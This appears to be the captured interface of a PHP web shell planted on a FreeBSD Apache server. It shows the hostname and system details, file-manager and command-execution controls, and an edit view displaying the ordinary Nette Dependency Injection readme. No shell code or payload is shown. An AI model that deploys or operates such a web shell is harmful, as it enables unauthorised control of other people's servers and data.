TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
nette
di
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/nette/di/readme.md
Nette Dependency Injection ========================== [](https://packagist.org/packages/nette/di) [](https://travis-ci.org/nette/di) Purpose of the Dependecy Injection (DI) is to free classes from the responsibility for obtaining objects that they need for its operation (these objects are called **services**). To pass them these services on their instantiation instead. Class `Nette\DI\Container` is a flexible implementation of the universal DI container. It ensures automatically, that instance of services are created only once. Names of factory methods follow an uniform convention, they consist of the prefix `createService` + name of the service starting with first letter upper-cased. If they are not supposed to be accesible from outside, it is possible to lower their visibility to `protected`. Note that the container has already defined the field `$parameters` for user parameters. ```php class MyContainer extends Nette\DI\Container { protected function createServiceConnection() { return new Nette\Database\Connection( $this->parameters['dsn'], $this->parameters['user'], $this->parameters['password'] ); } protected function createServiceArticle() { return new Article($this->connection); } } ``` Now we create an instance of the container and pass parameters: ```php $container = new MyContainer(array( 'dsn' => 'mysql:', 'user' => 'root', 'password' => '***', )); ``` We get the service by calling the `getService` method or by a shortcut: ```php $article = $container->getService('article'); ``` As have been said, all services are created in one container only once, but it would be more useful, if the container was creating always a new instance of `Article`. It could be achieved easily: Instead of the factory for the service `article` we'll create an ordinary method `createArticle`: ```php class MyContainer extends Nette\DI\Container { function createServiceConnection() { return new Nette\Database\Connection( $this->parameters['dsn'], $this->parameters['user'], $this->parameters['password'] ); } function createArticle() { return new Article($this->connection); } } $container = new MyContainer(...); $article = $container->createArticle(); ``` From the call of `$container->createArticle()` is evident, that a new object is always created. It is then a programmer's convention.
Crotin
Name
Size
Permissions
Modified
User/Group
readme.md
2510
0644
2016-03-05 11:27:27
Unknown/Unknown
contributing.md
1233
0644
2016-03-05 11:27:27
Unknown/Unknown
src
-
0755
2016-03-05 11:27:25
Unknown/Unknown
license.md
2724
0644
2016-03-05 11:27:20
Unknown/Unknown
composer.json
631
0644
2016-03-05 11:27:20
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin